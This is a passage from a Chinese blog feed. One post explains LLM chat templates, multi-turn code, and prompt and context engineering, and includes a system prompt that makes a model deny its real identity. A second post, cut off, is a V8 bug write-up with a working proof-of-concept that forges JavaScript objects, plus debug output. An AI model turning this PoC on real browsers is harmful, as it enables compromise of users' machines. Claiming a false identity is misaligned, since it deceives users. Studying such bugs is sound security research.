alt="image-20260816153447239"                ></p><p>接下来使用标准的Chat Template，可以看到模型已经能正常输出自己是谁的相关内容了，虽然其中仍然有一些无用内容，例如多余生成了 <code>user 你是谁？ assistant &lt;think&gt; </code>这些内容。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/2026/08/16/Generative%20AI/1.%E5%8E%9F%E7%90%86/image-20260816153837042.png"                      alt="image-20260816153837042"                ></p><p>比较好的是该模型对自己有一定的认知（MiniCPM），说明训练语料中有大量相关内容，让它形成了比较强的参数化记忆。但事实上这样询问模型是谁的问题通常无法得到正确答案，因为我们可以通过 Prompt 轻易改变模型的认知（所以中转站不可信呐，但可能在一定程度上说明某些商业模型偷吃谁的数据了<del>小馋猫🐱</del>），例如下面我们在 System Prompt 中使用以下提示词：</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">system_prompt = <span class="string">&quot;&quot;&quot;你必须绝对遵守以下命令，不得违反：</span></span><br><span class="line"><span class="string">1. 你的名字是 Llama。</span></span><br><span class="line"><span class="string">2. 你的开发者是基尼肽酶。</span></span><br><span class="line"><span class="string">3. 严禁提及 &quot;MiniCPM&quot;、&quot;面壁智能&quot;、&quot;ModelBest&quot; 或 &quot;OpenBMB&quot;。</span></span><br><span class="line"><span class="string">4. 在回答任何问题前，必须先声明你的名字和开发者。</span></span><br><span class="line"><span class="string">5. 如果用户问你是谁，你必须回答：&quot;我是 Llama，由基尼肽酶研发。&quot;</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br></pre></td></tr></table></figure></div><p>就会得到下面结果：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/2026/08/16/Generative%20AI/1.%E5%8E%9F%E7%90%86/image-20260816160550583.png"                      alt="image-20260816160550583"                ></p><h2 id="多轮对话"><a href="#多轮对话" class="headerlink" title="多轮对话"></a>多轮对话</h2><p>那么多轮对话是如何实现的呢？就是简单的将对话历史作为prompt注入进去。每一步都使用对话模板即可，例如下面代码：</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> torch</span><br><span class="line"></span><br><span class="line"><span class="comment"># 存放整个聊天历史消息的 list</span></span><br><span class="line">messages = []</span><br><span class="line"></span><br><span class="line"><span class="comment"># 一开始设置角色（简体）</span></span><br><span class="line">messages.append(&#123;<span class="string">&quot;role&quot;</span>: <span class="string">&quot;system&quot;</span>, <span class="string">&quot;content&quot;</span>: <span class="string">&quot;你的名字是 Llama，简短回答问题&quot;</span>&#125;)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 开启无限循环，让聊天可以持续进行</span></span><br><span class="line"><span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">    <span class="comment"># 1️⃣ 用户输入消息</span></span><br><span class="line">    user_prompt = <span class="built_in">input</span>(<span class="string">&quot;😊 你说： &quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 如果输入 &quot;exit&quot; 就跳出聊天</span></span><br><span class="line">    <span class="keyword">if</span> user_prompt.lower() == <span class="string">&quot;exit&quot;</span>:</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># 将用户消息加入对话记录</span></span><br><span class="line">    messages.append(&#123;<span class="string">&quot;role&quot;</span>: <span class="string">&quot;user&quot;</span>, <span class="string">&quot;content&quot;</span>: user_prompt&#125;)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 2️⃣ 将历史消息转换为模型可以理解的格式</span></span><br><span class="line">    <span class="comment"># add_generation_prompt=True 会在消息后面加入一个特殊标记，</span></span><br><span class="line">    <span class="comment"># 告诉模型现在轮到它讲话了！</span></span><br><span class="line">    encoded_inputs = tokenizer.apply_chat_template(</span><br><span class="line">        messages,</span><br><span class="line">        add_generation_prompt=<span class="literal">True</span>,</span><br><span class="line">        return_tensors=<span class="string">&quot;pt&quot;</span></span><br><span class="line">    )</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 记录输入序列的长度，用于后续截取新生成的 token</span></span><br><span class="line">    input_len = encoded_inputs[<span class="string">&quot;input_ids&quot;</span>].shape[<span class="number">1</span>]</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 3️⃣ 生成模型的回复（建议使用 max_new_tokens 代替 max_length）</span></span><br><span class="line">    outputs = model.generate(</span><br><span class="line">        input_ids=encoded_inputs[<span class="string">&quot;input_ids&quot;</span>],</span><br><span class="line">        attention_mask=encoded_inputs[<span class="string">&quot;attention_mask&quot;</span>],</span><br><span class="line">        max_new_tokens=<span class="number">512</span>,          <span class="comment"># 控制新生成的长度，避免过长</span></span><br><span class="line">        do_sample=<span class="literal">True</span>,</span><br><span class="line">        top_k=<span class="number">3</span>,</span><br><span class="line">        pad_token_id=tokenizer.eos_token_id</span><br><span class="line">    )</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 4️⃣ 只取模型新生成的部分（不包含输入的历史消息）</span></span><br><span class="line">    new_tokens = outputs[<span class="number">0</span>][input_len:]</span><br><span class="line">    <span class="comment"># 解码时跳过特殊标记（如 &lt;|im_start|&gt;, &lt;|im_end|&gt; 等）</span></span><br><span class="line">    response = tokenizer.decode(new_tokens, skip_special_tokens=<span class="literal">True</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 额外去除可能出现的 &lt;think&gt;...&lt;/think&gt; 块（MiniCPM 等模型会生成）</span></span><br><span class="line">    <span class="keyword">if</span> <span class="string">&#x27;&lt;think&gt;&#x27;</span> <span class="keyword">in</span> response <span class="keyword">and</span> <span class="string">&#x27;&lt;/think&gt;&#x27;</span> <span class="keyword">in</span> response:</span><br><span class="line">        <span class="comment"># 取 &lt;/think&gt; 之后的内容</span></span><br><span class="line">        response = response.split(<span class="string">&#x27;&lt;/think&gt;&#x27;</span>, <span class="number">1</span>)[-<span class="number">1</span>].strip()</span><br><span class="line">    <span class="comment"># 去除多余的空白</span></span><br><span class="line">    response = response.strip()</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 5️⃣ 显示模型的回复</span></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;🤖 助理说：&quot;</span>, response)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 将模型回复加入对话记录，让下次模型知道之前的对话内容</span></span><br><span class="line">    messages.append(&#123;<span class="string">&quot;role&quot;</span>: <span class="string">&quot;assistant&quot;</span>, <span class="string">&quot;content&quot;</span>: response&#125;)</span><br></pre></td></tr></table></figure></div><p>这样就是一个简单的类似于 网页版AI的带有上下文的问答模式了。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/2026/08/16/Generative%20AI/1.%E5%8E%9F%E7%90%86/image-20260816172625510.png"                      alt="image-20260816172625510"                ></p><p>当然我们可以直接使用 pipeline 代替我们之前手动加入模板进行 tokenizer 编码并传入模型的过程，即将下图中我们手动拼接的过程 pipeline 化：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/2026/08/16/Generative%20AI/1.%E5%8E%9F%E7%90%86/Gemini_Generated_Image_x6knm1x6knm1x6kn.jpg"                      alt="Gemini_Generated_Image_x6knm1x6knm1x6kn"                ></p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> transformers <span class="keyword">import</span> pipeline</span><br><span class="line"></span><br><span class="line"><span class="comment"># 加载模型（注意模型ID正确）</span></span><br><span class="line">model_id = <span class="string">&quot;openbmb/MiniCPM5-1B&quot;</span></span><br><span class="line">pipe = pipeline(<span class="string">&quot;text-generation&quot;</span>, model=model_id)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 系统提示（可以自由修改）</span></span><br><span class="line">messages = [&#123;<span class="string">&quot;role&quot;</span>: <span class="string">&quot;system&quot;</span>, <span class="string">&quot;content&quot;</span>: <span class="string">&quot;&quot;</span>&#125;]</span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">    user_prompt = <span class="built_in">input</span>(<span class="string">&quot;😊 你说： &quot;</span>)</span><br><span class="line">    <span class="keyword">if</span> user_prompt.lower() == <span class="string">&quot;exit&quot;</span>:</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line">    messages.append(&#123;<span class="string">&quot;role&quot;</span>: <span class="string">&quot;user&quot;</span>, <span class="string">&quot;content&quot;</span>: user_prompt&#125;)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 调用 pipeline 生成回复</span></span><br><span class="line">    outputs = pipe(</span><br><span class="line">        messages,</span><br><span class="line">        max_new_tokens=<span class="number">512</span>,          <span class="comment"># 不要设2000，除非真的很长，否则浪费</span></span><br><span class="line">        pad_token_id=pipe.tokenizer.eos_token_id</span><br><span class="line">    )</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 提取最新一条助手回复</span></span><br><span class="line">    raw_response = outputs[<span class="number">0</span>][<span class="string">&quot;generated_text&quot;</span>][-<span class="number">1</span>][<span class="string">&#x27;content&#x27;</span>]</span><br><span class="line"></span><br><span class="line">    <span class="comment"># ---------- 去除 &lt;think&gt; 块 ----------</span></span><br><span class="line">    <span class="keyword">if</span> <span class="string">&quot;&lt;think&gt;&quot;</span> <span class="keyword">in</span> raw_response <span class="keyword">and</span> <span class="string">&quot;&lt;/think&gt;&quot;</span> <span class="keyword">in</span> raw_response:</span><br><span class="line">        <span class="comment"># 只取 &lt;/think&gt; 之后的内容，并去掉首尾空白</span></span><br><span class="line">        clean_response = raw_response.split(<span class="string">&quot;&lt;/think&gt;&quot;</span>, <span class="number">1</span>)[-<span class="number">1</span>].strip()</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        clean_response = raw_response.strip()</span><br><span class="line"></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;🤖 助理说：&quot;</span>, clean_response)</span><br><span class="line">    messages.append(&#123;<span class="string">&quot;role&quot;</span>: <span class="string">&quot;assistant&quot;</span>, <span class="string">&quot;content&quot;</span>: clean_response&#125;)</span><br></pre></td></tr></table></figure></div><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/2026/08/16/Generative%20AI/1.%E5%8E%9F%E7%90%86/image-20260816173627715.png"                      alt="image-20260816173627715"                ></p><h2 id="Prompt-Engineering"><a href="#Prompt-Engineering" class="headerlink" title="Prompt Engineering"></a>Prompt Engineering</h2><p><strong>提示词工程（Prompt Engineering）</strong>，简单来说，就是设计和优化输入给大语言模型（LLM）的文本（即“提示词”），以引导模型输出符合我们期望的结果。</p><p>大概是24年的时候，实习时候需要上手做过一个项目（实际上也没怎么做😂），叫做“基于AI大模型的漏洞挖掘技术研究”，听起来很高大上（<del>就现在看来，完全就是一个cjb</del>），实际上就是利用大模型来进行代码审计，发现其中可能存在的缺陷。因为当时的模型水平大多很拉，而且无法进行长上下文的思考（其实还有就是<del>穷学生用不起当时的顶级模型API</del>，毕竟只是一个探索研究项目，就用了免费模型），所以这个项目的实际流程就是先利用tree sitter将要分析的代码部分解析成抽象语法树，这是为了将代码结构化然后进行关键词检索（不论是函数名检索还是函数体检索都比较方便，例如筛出关键词 key 来找敏感信息泄露，筛出 malloc&#x2F;free 来找UAF等）；这样筛出来之后就可以缩小模型分析范围，毕竟不能像现在一样可以将整个代码库都塞进去，让模型自己遨游。</p><p>在筛完之后，我们就有了一个初始目标函数集，然后该怎么做呢？通过 prompt engineering 直接将每一个函数都塞进提示词中，单独调API，没有多轮对话，也没有上下文工程。所以重点工作其实就在 prompt 调优上，设计了拥有以下原则的 prompt：</p><ul><li>给模型正确的角色定义和所负责的工作。（你是一名网络安全工程师，你会进行代码审计与漏洞挖掘。接下来你需要对一些代码进行审计，需要审计的漏洞类型有：敏感信息泄露、缓冲区溢出…… blablabla…）</li><li>逐步教会模型该如何做这件事。（审计工作分为以下3步（UAF）：1. 寻找函数中的 malloc 族内存分配函数，如果存在，则进入步骤2，否则退出。 2. 分析每一个出口分支，如果存在某分支调用 free 族相关函数释放对应内存，则进入步骤3。3. …… blablabla）</li><li>要求模型结构化输出。（你必须按照如下格式输出：<code>&lt;path&gt; Put source file path here. &lt;/path&gt;\n &lt;code&gt; Put source code here. &lt;/code&gt;\n &lt;result&gt; whether vuln exist or not?(yes/no) &lt;/result&gt;\n &lt;explain&gt; Put your explaination here. &lt;/explain&gt;</code>）</li><li>给模型相关判断示例。（如下为几个示例：示例一：……blablabla 示例二：……blabla  ……）</li></ul><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/2026/08/16/Generative%20AI/1.%E5%8E%9F%E7%90%86/Gemini_Generated_Image_76z7g276z7g276z7.jpg"                      alt="Gemini_Generated_Image_76z7g276z7g276z7"                ></p><p>大概就是上面这样的操作步骤，这样构建起一个具有结构的提示词，就是提示词工程。当然这个项目没有做过任何评测，最终效果也是一言难尽（<del>依托答辩</del>）。</p><p>更多相关提示词工程方法可以查看：<a class="link"   href="https://www.promptingguide.ai/zh" >https://www.promptingguide.ai/zh<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p><h2 id="Context-Engineering"><a href="#Context-Engineering" class="headerlink" title="Context Engineering"></a>Context Engineering</h2><p>A\的解释是这样的：上下文工程（Context Engineering）是提示词工程（Prompt Engineering）的自然演进。提示词工程指的是通过编写和组织 LLM 指令来获得最佳输出的方法。而<strong>上下文工程</strong>是指在 LLM 推理过程中，精选并维护最佳 Token（信息）集合的一系列策略，这涵盖了提示词之外所有可能进入上下文的信息。</p><blockquote><p>At Anthropic, we view context engineering as the natural progression of prompt engineering. Prompt engineering refers to methods for writing and organizing LLM instructions for optimal outcomes (see <a class="link"   href="https://docs.anthropic.com/en/docs/build-with-claude/prompt-engineering/overview" >our docs<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a> for an overview and useful prompt engineering strategies). <strong>Context engineering</strong> refers to the set of strategies for curating and maintaining the optimal set of tokens (information) during LLM inference, including all the other information that may land there outside of the prompts.</p></blockquote><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/2026/08/16/Generative%20AI/1.%E5%8E%9F%E7%90%86/anthropic-context-engineering.png"                      alt="即时工程与情境工程"                ></p><p><strong>为什么要做上下文工程？</strong></p><p>简单来说就是因为LLM基于 transformer 架构，而 transformer 架构允许每个 token 关注上下文中的每一个 token，这就导致了 n 个token之间会产生 n² 个关系。随着上下文的增加，模型注意力被稀释，最终答案的准确性也就会降低。</p><p>另外，2023年7月有一篇论文《Lost in the Middle: How Language Models Use Long Contexts》研究了一个关于LLM处理长文本的重要发现。他发现当模型需要处理很长的上下文时，它的表现会强烈依赖<strong>关键信息所处的位置</strong>。具体来说，模型的表现呈现一个 <strong>“U型曲线”</strong>。即：</p><ul><li><strong>开头 (Primacy)</strong>：当关键信息放在输入的开头时，模型的表现<strong>最好</strong>。</li><li><strong>结尾 (Recency)</strong>：当关键信息放在输入的结尾时，模型的表现也<strong>很好</strong>。</li><li><strong>中间 (Lost)</strong>：但是，当关键信息被放置在上下文的<strong>中间位置</strong>时，模型的表现会<strong>显著下降</strong>。这就像一个“信息黑洞”，模型很难有效地从中提取和使用信息。</li></ul><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/2026/08/16/Generative%20AI/1.%E5%8E%9F%E7%90%86/image-20260816185942835.png"                      alt="image-20260816185942835"                ></p><p>当然这篇论文已经很早了，但该问题仍然存在，多数研究认为这是 transformer 架构本身的问题，因果注意力机制（Causal Masking）天然地让模型更关注靠前的位置；而残差连接（Residual Connections）则让最后一个Token成为一个信息“锚点”。这两种机制共同作用，导致了中间位置的“信息死角”。（这两个名词的意思可以自行搜索）</p><p><strong>上下文工程的常用方法？</strong></p><ol><li>选择（Select）：即现在的RAG，通过向量检索只选择和用户问题最相关的内容拼接。有一种方法是 memory RAG，它将对话历史作为被检索对象，每次只从记忆中检索最相关的信息。</li><li>压缩（Compress）：将接近上下文窗口上限的对话进行内容概括，然后用概括后的内容重新创建一个新的上下文窗口。当然有一个很重要的问题就是如何确保压缩不会丢失信息，压缩哪些内容是最优解？</li><li>多智能体（Multi-Agent）：派遣子代理去执行具体的某一件事，执行完将摘要返回给主代理，这样做每一件事的时候都会是干净的上下文，而且主代理也不会被每一件独立的事情中间内容（错误处理、工具调用等）充满其上下文。</li><li>笔记（Note）：让模型定期记录笔记落盘重要事项，现在Chatgpt那些应用中的长期记忆应该就是这么实现的，通过记录重要内容到会话外的一个文件中，让智能体可以跨会话的记得一些重要内容（例如你的个人习惯等）。</li></ol><h2 id="结语"><a href="#结语" class="headerlink" title="结语"></a>结语</h2><p>大模型的本质，就是一个”预测下一个 token”的接龙游戏——你喂给它什么，它顺着概率往下猜什么，仅此而已。所谓”理解”、”思考”，不过是海量语料训练出来的统计规律。</p><p>在这个底层认知之上，前面那些概念就都串起来了：</p><ul><li><strong>Tokenizer</strong>：决定”接龙字母表”长什么样，以及怎么把文本切分成模型认识的 token；</li><li><strong>采样参数</strong>：Top K &#x2F; Top P &#x2F; Temperature 只是调节”死磕最优解”和”四处瞎逛”之间的旋钮；</li><li><strong>Chat Template &#x2F; 多轮对话</strong>：本质都是往输入里拼东西，告诉模型”现在轮到谁说话、之前聊了什么”；</li><li><strong>Prompt &#x2F; Context Engineering</strong>：一个管”怎么说”，一个管”给模型看什么”，目的都一样——让这个只会接龙的模型，输出我们想要的结果。</li></ul><p>至于最近越来越火的 harness、loop、graph engineering，说白了就是把”输入决定输出”这件事做得更系统、更自动化，底层原理并没有变。</p><h2 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h2><p><a class="link"   href="https://www.youtube.com/watch?v=TigfpYPJk1s" >https://www.youtube.com/watch?v=TigfpYPJk1s<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a><br><a class="link"   href="https://www.youtube.com/watch?v=lVdajtNpaGI" >https://www.youtube.com/watch?v=lVdajtNpaGI<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a><br><a class="link"   href="https://www.promptingguide.ai/zh" >https://www.promptingguide.ai/zh<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a><br><a class="link"   href="https://www.anthropic.com/engineering/effective-context-engineering-for-ai-agents" >https://www.anthropic.com/engineering/effective-context-engineering-for-ai-agents<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p><blockquote><p>本文由 Deepseek 辅助校对。图片由 Gemini 友情生成。</p></blockquote>]]>
    </content>
    <id>https://staticccccccc.github.io/2026/08/16/Generative%20AI/1.%E5%8E%9F%E7%90%86/</id>
    <link href="https://staticccccccc.github.io/2026/08/16/Generative%20AI/1.%E5%8E%9F%E7%90%86/"/>
    <published>2026-08-16T13:30:00.000Z</published>
    <summary>从 token 预测到上下文工程，构建对大模型工作方式的基础认知。</summary>
    <title>Generative AI (1) --- 原理</title>
    <updated>2026-08-16T13:30:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>Static</name>
    </author>
    <category term="V8" scheme="https://staticccccccc.github.io/categories/V8/"/>
    <category term="old_article" scheme="https://staticccccccc.github.io/tags/old-article/"/>
    <content>
      <![CDATA[<h2 id="环境配置"><a href="#环境配置" class="headerlink" title="环境配置"></a>环境配置</h2><p><a class="link"   href="https://issues.chromium.org/issues/40057622" >漏洞介绍页面<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a>，在该页面可以看到POC和writeup，issue编号为1260577</p><blockquote><p>受影响的Chrome最高版本为：<code>95.0.4638.54</code><br>受影响的V8最高版本为：<code>9.5.172.21</code></p></blockquote><p>我这里装的是<code>9.5.172.10</code>版本</p><h2 id="POC"><a href="#POC" class="headerlink" title="POC"></a>POC</h2><p>该POC为Hcamael优化后的POC</p><div class="code-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span>(<span class="string">&#x27;./1.mjs&#x27;</span>).<span class="title function_">then</span>(<span class="function">(<span class="params">m1</span>) =&gt;</span> &#123;</span><br><span class="line">    <span class="keyword">var</span> f64 = <span class="keyword">new</span> <span class="title class_">Float64Array</span>(<span class="number">1</span>);</span><br><span class="line"><span class="keyword">var</span> bigUint64 = <span class="keyword">new</span> <span class="title class_">BigUint64Array</span>(f64.<span class="property">buffer</span>);</span><br><span class="line"><span class="keyword">var</span> u32 = <span class="keyword">new</span> <span class="title class_">Uint32Array</span>(f64.<span class="property">buffer</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">d2u</span>(<span class="params">v</span>) &#123;</span><br><span class="line">        f64[<span class="number">0</span>] = v;</span><br><span class="line">        <span class="keyword">return</span> u32;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">u2d</span>(<span class="params">lo, hi</span>) &#123;</span><br><span class="line">        u32[<span class="number">0</span>] = lo;</span><br><span class="line">        u32[<span class="number">1</span>] = hi;</span><br><span class="line">        <span class="keyword">return</span> f64[<span class="number">0</span>];</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">ftoi</span>(<span class="params">f</span>)</span><br><span class="line">&#123;</span><br><span class="line">    f64[<span class="number">0</span>] = f;</span><br><span class="line"><span class="keyword">return</span> bigUint64[<span class="number">0</span>];</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">itof</span>(<span class="params">i</span>)</span><br><span class="line">&#123;</span><br><span class="line">bigUint64[<span class="number">0</span>] = i;</span><br><span class="line"><span class="keyword">return</span> f64[<span class="number">0</span>];</span><br><span class="line">&#125;</span><br><span class="line">    <span class="keyword">class</span> <span class="title class_">C</span> &#123;</span><br><span class="line"><span class="title function_">m</span>(<span class="params"></span>) &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="variable language_">super</span>.<span class="property">x</span>;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">    obj_prop_ut_fake = &#123;&#125;;</span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">let</span> i = <span class="number">0x0</span>; i &lt; <span class="number">0x11</span>; i++) &#123;</span><br><span class="line">        obj_prop_ut_fake[<span class="string">&#x27;x&#x27;</span> + i] = <span class="title function_">u2d</span>(<span class="number">0x40404042</span>, <span class="number">0</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    C.<span class="property"><span class="keyword">prototype</span></span>.<span class="property">__proto__</span> = m1;</span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">trigger</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">let</span> c = <span class="keyword">new</span> <span class="title function_">C</span>();</span><br><span class="line"></span><br><span class="line">        c.<span class="property">x0</span> = obj_prop_ut_fake;</span><br><span class="line">        <span class="keyword">let</span> res = c.<span class="title function_">m</span>();</span><br><span class="line">        <span class="keyword">return</span> res;</span><br><span class="line">&#125;</span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">let</span> i = <span class="number">0</span>; i &lt; <span class="number">10</span>; i++) &#123;</span><br><span class="line">        <span class="title function_">trigger</span>();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">let</span> evil = <span class="title function_">trigger</span>();</span><br><span class="line">    %<span class="title class_">DebugPrint</span>(evil);</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure></div><p>其中<code>1.mjs</code>为</p><div class="code-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">export</span> <span class="keyword">let</span> x = &#123;&#125;;</span><br><span class="line"><span class="keyword">export</span> <span class="keyword">let</span> y = &#123;<span class="attr">test</span>:<span class="number">1</span>&#125;;</span><br><span class="line"><span class="keyword">export</span> <span class="keyword">let</span> z = &#123;&#125;;</span><br></pre></td></tr></table></figure></div><p>这个<code>1.mjs</code>的内容挺重要的，会导致你复现不出来</p><h2 id="漏洞测试"><a href="#漏洞测试" class="headerlink" title="漏洞测试"></a>漏洞测试</h2><p>直接运行POC，可以看到如下结果</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">DebugPrint: Smi: 0x20202021 (538976289)</span><br></pre></td></tr></table></figure></div><p>因为在代码不变的情况下，每个对象的低32bit地址基本不变，因此可将设定的值设为一个对象的低32bit地址，运行</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line">DebugPrint: 0x55008049ce9: [JSArray]</span><br><span class="line"> - map: 0x055008203ae1 &lt;Map(PACKED_DOUBLE_ELEMENTS)&gt; [FastProperties]</span><br><span class="line"> - prototype: 0x0550081cc0e9 &lt;JSArray[0]&gt;</span><br><span class="line"> - elements: 0x055008049cd9 &lt;FixedDoubleArray[1]&gt; [PACKED_DOUBLE_ELEMENTS]</span><br><span class="line"> - length: 1</span><br><span class="line"> - properties: 0x05500800222d &lt;FixedArray[0]&gt;</span><br><span class="line"> - All own properties (excluding elements): &#123;</span><br><span class="line">    0x550080048f1: [String] in ReadOnlySpace: #length: 0x05500814215d &lt;AccessorInfo&gt; (const accessor descriptor), location: descriptor</span><br><span class="line"> &#125;</span><br><span class="line"> - elements: 0x055008049cd9 &lt;FixedDoubleArray[1]&gt; &#123;</span><br><span class="line">           0: 2.1</span><br><span class="line"> &#125;</span><br><span class="line">0x55008203ae1: [Map]</span><br><span class="line"> - type: 